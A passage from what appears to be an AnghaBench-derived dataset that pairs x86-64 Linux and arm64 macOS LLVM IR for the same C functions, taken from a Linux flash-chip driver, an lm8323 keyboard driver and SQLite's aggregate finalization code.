%15 = tail call i32 @cfi_send_gen_cmd(i32 noundef 85, i32 noundef %12, i64 noundef %13, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %14, ptr noundef null) #2
%16 = load i32, ptr %6, align 4, !tbaa !10
%17 = load i64, ptr %1, align 8, !tbaa !13
%18 = load i32, ptr %5, align 4, !tbaa !16
%19 = tail call i32 @cfi_send_gen_cmd(i32 noundef 144, i32 noundef %16, i64 noundef %17, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %18, ptr noundef null) #2
%20 = load i32, ptr %6, align 4, !tbaa !10
%21 = load i64, ptr %1, align 8, !tbaa !13
%22 = load i32, ptr %5, align 4, !tbaa !16
%23 = tail call i32 @cfi_send_gen_cmd(i32 noundef 0, i32 noundef %20, i64 noundef %21, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %22, ptr noundef null) #2
%24 = load i64, ptr %1, align 8, !tbaa !13
%25 = add nsw i64 %24, %2
%26 = tail call i32 @INVALIDATE_CACHED_RANGE(ptr noundef nonnull %0, i64 noundef %25, i64 noundef %3) #2
ret void
}
declare i32 @cfi_send_gen_cmd(i32 noundef, i32 noundef, i64 noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @INVALIDATE_CACHED_RANGE(ptr noundef, i64 noundef, i64 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"map_info", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 4}
!11 = !{!"cfi_private", !12, i64 0, !12, i64 4, !12, i64 8}
!12 = !{!"int", !8, i64 0}
!13 = !{!14, !15, i64 0}
!14 = !{!"flchip", !15, i64 0}
!15 = !{!"long", !8, i64 0}
!16 = !{!11, !12, i64 0}
!17 = !{!11, !12, i64 8}
| ; ModuleID = 'AnghaBench/linux/drivers/mtd/chips/extr_cfi_cmdset_0002.c_otp_exit.c'
source_filename = "AnghaBench/linux/drivers/mtd/chips/extr_cfi_cmdset_0002.c_otp_exit.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @otp_exit], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal void @otp_exit(ptr noundef %0, ptr nocapture noundef readonly %1, i64 noundef %2, i64 noundef %3) #0 {
%5 = load ptr, ptr %0, align 8, !tbaa !6
%6 = getelementptr inbounds i8, ptr %5, i64 4
%7 = load i32, ptr %6, align 4, !tbaa !11
%8 = load i64, ptr %1, align 8, !tbaa !14
%9 = load i32, ptr %5, align 4, !tbaa !17
%10 = tail call i32 @cfi_send_gen_cmd(i32 noundef 170, i32 noundef %7, i64 noundef %8, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %9, ptr noundef null) #2
%11 = getelementptr inbounds i8, ptr %5, i64 8
%12 = load i32, ptr %11, align 4, !tbaa !18
%13 = load i64, ptr %1, align 8, !tbaa !14
%14 = load i32, ptr %5, align 4, !tbaa !17
%15 = tail call i32 @cfi_send_gen_cmd(i32 noundef 85, i32 noundef %12, i64 noundef %13, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %14, ptr noundef null) #2
%16 = load i32, ptr %6, align 4, !tbaa !11
%17 = load i64, ptr %1, align 8, !tbaa !14
%18 = load i32, ptr %5, align 4, !tbaa !17
%19 = tail call i32 @cfi_send_gen_cmd(i32 noundef 144, i32 noundef %16, i64 noundef %17, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %18, ptr noundef null) #2
%20 = load i32, ptr %6, align 4, !tbaa !11
%21 = load i64, ptr %1, align 8, !tbaa !14
%22 = load i32, ptr %5, align 4, !tbaa !17
%23 = tail call i32 @cfi_send_gen_cmd(i32 noundef 0, i32 noundef %20, i64 noundef %21, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %22, ptr noundef null) #2
%24 = load i64, ptr %1, align 8, !tbaa !14
%25 = add nsw i64 %24, %2
%26 = tail call i32 @INVALIDATE_CACHED_RANGE(ptr noundef nonnull %0, i64 noundef %25, i64 noundef %3) #2
ret void
}
declare i32 @cfi_send_gen_cmd(i32 noundef, i32 noundef, i64 noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @INVALIDATE_CACHED_RANGE(ptr noundef, i64 noundef, i64 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"map_info", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !13, i64 4}
!12 = !{!"cfi_private", !13, i64 0, !13, i64 4, !13, i64 8}
!13 = !{!"int", !9, i64 0}
!14 = !{!15, !16, i64 0}
!15 = !{!"flchip", !16, i64 0}
!16 = !{!"long", !9, i64 0}
!17 = !{!12, !13, i64 0}
!18 = !{!12, !13, i64 8}
| linux_drivers_mtd_chips_extr_cfi_cmdset_0002.c_otp_exit |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/input/keyboard/extr_lm8323.c_init_pwm.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/input/keyboard/extr_lm8323.c_init_pwm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.lm8323_pwm = type { i32, i32, i32, %struct.TYPE_3__, ptr, i32, i32, i64, i64, i64 }
%struct.TYPE_3__ = type { ptr, i32, i32 }
@lm8323_pwm_work = dso_local local_unnamed_addr global i32 0, align 4
@lm8323_pwm_set_brightness = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [26 x i8] c"couldn't register PWM %d\0A\00", align 1
@dev_attr_time = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [34 x i8] c"couldn't register time attribute\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @init_pwm], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal noundef i32 @init_pwm(ptr noundef %0, i32 noundef %1, ptr noundef %2, ptr noundef %3) #0 {
%5 = icmp sgt i32 %1, 3
%6 = zext i1 %5 to i32
%7 = tail call i32 @BUG_ON(i32 noundef %6) #3
%8 = load ptr, ptr %0, align 8, !tbaa !5
%9 = sext i32 %1 to i64
%10 = getelementptr %struct.lm8323_pwm, ptr %8, i64 %9
%11 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1
store i32 %1, ptr %11, align 8, !tbaa !10
%12 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 7
%13 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 1
store i32 0, ptr %13, align 4, !tbaa !15
%14 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 2
store i32 0, ptr %14, align 8, !tbaa !16
%15 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 6
tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(24) %12, i8 0, i64 24, i1 false)
%16 = load i32, ptr @lm8323_pwm_work, align 4, !tbaa !17
%17 = tail call i32 @INIT_WORK(ptr noundef %15, i32 noundef %16) #3
%18 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 5
%19 = tail call i32 @mutex_init(ptr noundef %18) #3
%20 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 4
store ptr %0, ptr %20, align 8, !tbaa !18
%21 = icmp eq ptr %3, null
br i1 %21, label %39, label %22
22: ; preds = %4
%23 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 3
store ptr %3, ptr %23, align 8, !tbaa !19
%24 = load i32, ptr @lm8323_pwm_set_brightness, align 4, !tbaa !17
%25 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 3, i32 2
store i32 %24, ptr %25, align 4, !tbaa !20
%26 = tail call i64 @led_classdev_register(ptr noundef %2, ptr noundef nonnull %23) #3
%27 = icmp slt i64 %26, 0
br i1 %27, label %28, label %30
28: ; preds = %22
%29 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %2, ptr noundef nonnull @.str, i32 noundef %1) #3
br label %39
30: ; preds = %22
%31 = getelementptr %struct.lm8323_pwm, ptr %10, i64 -1, i32 3, i32 1
%32 = load i32, ptr %31, align 8, !tbaa !21
%33 = tail call i64 @device_create_file(i32 noundef %32, ptr noundef nonnull @dev_attr_time) #3
%34 = icmp slt i64 %33, 0
br i1 %34, label %35, label %38
35: ; preds = %30
%36 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %2, ptr noundef nonnull @.str.1) #3
%37 = tail call i32 @led_classdev_unregister(ptr noundef nonnull %23) #3
br label %39
38: ; preds = %30
store i32 1, ptr %14, align 8, !tbaa !16
br label %39
39: ; preds = %4, %38, %35, %28
%40 = phi i32 [ -1, %28 ], [ -1, %35 ], [ 0, %38 ], [ 0, %4 ]
ret i32 %40
}
declare i32 @BUG_ON(i32 noundef) local_unnamed_addr #1
declare i32 @INIT_WORK(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @mutex_init(ptr noundef) local_unnamed_addr #1
declare i64 @led_classdev_register(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @dev_err(ptr noundef, ptr noundef, ...) local_unnamed_addr #1
declare i64 @device_create_file(i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @led_classdev_unregister(ptr noundef) local_unnamed_addr #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"lm8323_chip", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 0}
!11 = !{!"lm8323_pwm", !12, i64 0, !12, i64 4, !12, i64 8, !13, i64 16, !7, i64 32, !12, i64 40, !12, i64 44, !14, i64 48, !14, i64 56, !14, i64 64}
!12 = !{!"int", !8, i64 0}
!13 = !{!"TYPE_3__", !7, i64 0, !12, i64 8, !12, i64 12}
!14 = !{!"long", !8, i64 0}
!15 = !{!11, !12, i64 4}
!16 = !{!11, !12, i64 8}
!17 = !{!12, !12, i64 0}
!18 = !{!11, !7, i64 32}
!19 = !{!11, !7, i64 16}
!20 = !{!11, !12, i64 28}
!21 = !{!11, !12, i64 24}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/input/keyboard/extr_lm8323.c_init_pwm.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/input/keyboard/extr_lm8323.c_init_pwm.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.lm8323_pwm = type { i32, i32, i32, %struct.TYPE_3__, ptr, i32, i32, i64, i64, i64 }
%struct.TYPE_3__ = type { ptr, i32, i32 }
@lm8323_pwm_work = common local_unnamed_addr global i32 0, align 4
@lm8323_pwm_set_brightness = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [26 x i8] c"couldn't register PWM %d\0A\00", align 1
@dev_attr_time = common global i32 0, align 4
@.str.1 = private unnamed_addr constant [34 x i8] c"couldn't register time attribute\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @init_pwm], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 -1, 1) i32 @init_pwm(ptr noundef %0, i32 noundef %1, ptr noundef %2, ptr noundef %3) #0 {
%5 = icmp sgt i32 %1, 3
%6 = zext i1 %5 to i32
%7 = tail call i32 @BUG_ON(i32 noundef %6) #3
%8 = load ptr, ptr %0, align 8, !tbaa !6
%9 = sext i32 %1 to i64
%10 = getelementptr %struct.lm8323_pwm, ptr %8, i64 %9
%11 = getelementptr i8, ptr %10, i64 -72
store i32 %1, ptr %11, align 8, !tbaa !11
%12 = getelementptr i8, ptr %10, i64 -24
%13 = getelementptr i8, ptr %10, i64 -68
%14 = getelementptr i8, ptr %10, i64 -64
store <2 x i32> zeroinitializer, ptr %13, align 4, !tbaa !16
%15 = getelementptr i8, ptr %10, i64 -28
tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(24) %12, i8 0, i64 24, i1 false)
%16 = load i32, ptr @lm8323_pwm_work, align 4, !tbaa !16
%17 = tail call i32 @INIT_WORK(ptr noundef %15, i32 noundef %16) #3
%18 = getelementptr i8, ptr %10, i64 -32
%19 = tail call i32 @mutex_init(ptr noundef %18) #3
%20 = getelementptr i8, ptr %10, i64 -40
store ptr %0, ptr %20, align 8, !tbaa !17
%21 = icmp eq ptr %3, null
br i1 %21, label %39, label %22
22: ; preds = %4
%23 = getelementptr i8, ptr %10, i64 -56
store ptr %3, ptr %23, align 8, !tbaa !18
%24 = load i32, ptr @lm8323_pwm_set_brightness, align 4, !tbaa !16
%25 = getelementptr i8, ptr %10, i64 -44
store i32 %24, ptr %25, align 4, !tbaa !19
%26 = tail call i64 @led_classdev_register(ptr noundef %2, ptr noundef nonnull %23) #3
%27 = icmp slt i64 %26, 0
br i1 %27, label %28, label %30
28: ; preds = %22
%29 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %2, ptr noundef nonnull @.str, i32 noundef %1) #3
br label %39
30: ; preds = %22
%31 = getelementptr i8, ptr %10, i64 -48
%32 = load i32, ptr %31, align 8, !tbaa !20
%33 = tail call i64 @device_create_file(i32 noundef %32, ptr noundef nonnull @dev_attr_time) #3
%34 = icmp slt i64 %33, 0
br i1 %34, label %35, label %38
35: ; preds = %30
%36 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %2, ptr noundef nonnull @.str.1) #3
%37 = tail call i32 @led_classdev_unregister(ptr noundef nonnull %23) #3
br label %39
38: ; preds = %30
store i32 1, ptr %14, align 8, !tbaa !21
br label %39
39: ; preds = %4, %38, %35, %28
%40 = phi i32 [ -1, %28 ], [ -1, %35 ], [ 0, %38 ], [ 0, %4 ]
ret i32 %40
}
declare i32 @BUG_ON(i32 noundef) local_unnamed_addr #1
declare i32 @INIT_WORK(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @mutex_init(ptr noundef) local_unnamed_addr #1
declare i64 @led_classdev_register(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @dev_err(ptr noundef, ptr noundef, ...) local_unnamed_addr #1
declare i64 @device_create_file(i32 noundef, ptr noundef) local_unnamed_addr #1
declare i32 @led_classdev_unregister(ptr noundef) local_unnamed_addr #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"lm8323_chip", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !13, i64 0}
!12 = !{!"lm8323_pwm", !13, i64 0, !13, i64 4, !13, i64 8, !14, i64 16, !8, i64 32, !13, i64 40, !13, i64 44, !15, i64 48, !15, i64 56, !15, i64 64}
!13 = !{!"int", !9, i64 0}
!14 = !{!"TYPE_3__", !8, i64 0, !13, i64 8, !13, i64 12}
!15 = !{!"long", !9, i64 0}
!16 = !{!13, !13, i64 0}
!17 = !{!12, !8, i64 32}
!18 = !{!12, !8, i64 16}
!19 = !{!12, !13, i64 28}
!20 = !{!12, !13, i64 24}
!21 = !{!12, !13, i64 8}
| fastsocket_kernel_drivers_input_keyboard_extr_lm8323.c_init_pwm |
; ModuleID = 'AnghaBench/freebsd/contrib/sqlite3/extr_sqlite3.c_finalizeAggFunctions.c'
source_filename = "AnghaBench/freebsd/contrib/sqlite3/extr_sqlite3.c_finalizeAggFunctions.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_11__ = type { i32, ptr }
%struct.AggInfo_func = type { i32, i32, ptr }
@EP_xIsSelect = dso_local local_unnamed_addr global i32 0, align 4
@OP_AggFinal = dso_local local_unnamed_addr global i32 0, align 4
@P4_FUNCDEF = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @finalizeAggFunctions], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @finalizeAggFunctions(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1) #0 {
%3 = load ptr, ptr %0, align 8, !tbaa !5
%4 = load i32, ptr %1, align 8, !tbaa !10
%5 = icmp sgt i32 %4, 0
br i1 %5, label %6, label %36
6: ; preds = %2
%7 = getelementptr inbounds %struct.TYPE_11__, ptr %1, i64 0, i32 1
%8 = load ptr, ptr %7, align 8, !tbaa !13
br label %9
9: ; preds = %6, %26
%10 = phi i32 [ %32, %26 ], [ 0, %6 ]
%11 = phi ptr [ %33, %26 ], [ %8, %6 ]
%12 = getelementptr inbounds %struct.AggInfo_func, ptr %11, i64 0, i32 2
%13 = load ptr, ptr %12, align 8, !tbaa !14
%14 = load ptr, ptr %13, align 8, !tbaa !16
%15 = load i32, ptr @EP_xIsSelect, align 4, !tbaa !19
%16 = tail call i32 @ExprHasProperty(ptr noundef nonnull %13, i32 noundef %15) #2
%17 = icmp eq i32 %16, 0
%18 = zext i1 %17 to i32
%19 = tail call i32 @assert(i32 noundef %18) #2
%20 = load i32, ptr @OP_AggFinal, align 4, !tbaa !19
%21 = getelementptr inbounds %struct.AggInfo_func, ptr %11, i64 0, i32 1
%22 = load i32, ptr %21, align 4, !tbaa !20
%23 = icmp eq ptr %14, null
br i1 %23, label %26, label %24
24: ; preds = %9
%25 = load i32, ptr %14, align 4, !tbaa !21
br label %26
26: ; preds = %9, %24
%27 = phi i32 [ %25, %24 ], [ 0, %9 ]
%28 = tail call i32 @sqlite3VdbeAddOp2(ptr noundef %3, i32 noundef %20, i32 noundef %22, i32 noundef %27) #2
%29 = load i32, ptr %11, align 8, !tbaa !23
%30 = load i32, ptr @P4_FUNCDEF, align 4, !tbaa !19
%31 = tail call i32 @sqlite3VdbeAppendP4(ptr noundef %3, i32 noundef %29, i32 noundef %30) #2
%32 = add nuw nsw i32 %10, 1
%33 = getelementptr inbounds %struct.AggInfo_func, ptr %11, i64 1
%34 = load i32, ptr %1, align 8, !tbaa !10
%35 = icmp slt i32 %32, %34
br i1 %35, label %9, label %36, !llvm.loop !24
36: ; preds = %26, %2
ret void
}
declare i32 @assert(i32 noundef) local_unnamed_addr #1
declare i32 @ExprHasProperty(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sqlite3VdbeAddOp2(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sqlite3VdbeAppendP4(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_9__", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 0}
!11 = !{!"TYPE_11__", !12, i64 0, !7, i64 8}
!12 = !{!"int", !8, i64 0}
!13 = !{!11, !7, i64 8}
!14 = !{!15, !7, i64 8}
!15 = !{!"AggInfo_func", !12, i64 0, !12, i64 4, !7, i64 8}
!16 = !{!17, !7, i64 0}
!17 = !{!"TYPE_12__", !18, i64 0}
!18 = !{!"TYPE_8__", !7, i64 0}
!19 = !{!12, !12, i64 0}
!20 = !{!15, !12, i64 4}
!21 = !{!22, !12, i64 0}
!22 = !{!"TYPE_10__", !12, i64 0}
!23 = !{!15, !12, i64 0}
!24 = distinct !{!24, !25}
!25 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/freebsd/contrib/sqlite3/extr_sqlite3.c_finalizeAggFunctions.c'
source_filename = "AnghaBench/freebsd/contrib/sqlite3/extr_sqlite3.c_finalizeAggFunctions.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@EP_xIsSelect = common local_unnamed_addr global i32 0, align 4
@OP_AggFinal = common local_unnamed_addr global i32 0, align 4
@P4_FUNCDEF = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @finalizeAggFunctions], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @finalizeAggFunctions(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1) #0 {
%3 = load ptr, ptr %0, align 8, !tbaa !6
%4 = load i32, ptr %1, align 8, !tbaa !11
%5 = icmp sgt i32 %4, 0
br i1 %5, label %6, label %36
6: ; preds = %2
%7 = getelementptr inbounds i8, ptr %1, i64 8
%8 = load ptr, ptr %7, align 8, !tbaa !14
br label %9
9: ; preds = %6, %26
%10 = phi i32 [ %32, %26 ], [ 0, %6 ]
%11 = phi ptr [ %33, %26 ], [ %8, %6 ]
%12 = getelementptr inbounds i8, ptr %11, i64 8
%13 = load ptr, ptr %12, align 8, !tbaa !15
%14 = load ptr, ptr %13, align 8, !tbaa !17
%15 = load i32, ptr @EP_xIsSelect, align 4, !tbaa !20
%16 = tail call i32 @ExprHasProperty(ptr noundef nonnull %13, i32 noundef %15) #2
%17 = icmp eq i32 %16, 0
%18 = zext i1 %17 to i32
%19 = tail call i32 @assert(i32 noundef %18) #2
%20 = load i32, ptr @OP_AggFinal, align 4, !tbaa !20
%21 = getelementptr inbounds i8, ptr %11, i64 4
%22 = load i32, ptr %21, align 4, !tbaa !21
%23 = icmp eq ptr %14, null
br i1 %23, label %26, label %24
24: ; preds = %9
%25 = load i32, ptr %14, align 4, !tbaa !22
br label %26
26: ; preds = %9, %24
%27 = phi i32 [ %25, %24 ], [ 0, %9 ]
%28 = tail call i32 @sqlite3VdbeAddOp2(ptr noundef %3, i32 noundef %20, i32 noundef %22, i32 noundef %27) #2
%29 = load i32, ptr %11, align 8, !tbaa !24
%30 = load i32, ptr @P4_FUNCDEF, align 4, !tbaa !20
%31 = tail call i32 @sqlite3VdbeAppendP4(ptr noundef %3, i32 noundef %29, i32 noundef %30) #2
%32 = add nuw nsw i32 %10, 1
%33 = getelementptr inbounds i8, ptr %11, i64 16
%34 = load i32, ptr %1, align 8, !tbaa !11
%35 = icmp slt i32 %32, %34
br i1 %35, label %9, label %36, !llvm.loop !25
36: ; preds = %26, %2
ret void
}
declare i32 @assert(i32 noundef) local_unnamed_addr #1
declare i32 @ExprHasProperty(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sqlite3VdbeAddOp2(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sqlite3VdbeAppendP4(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
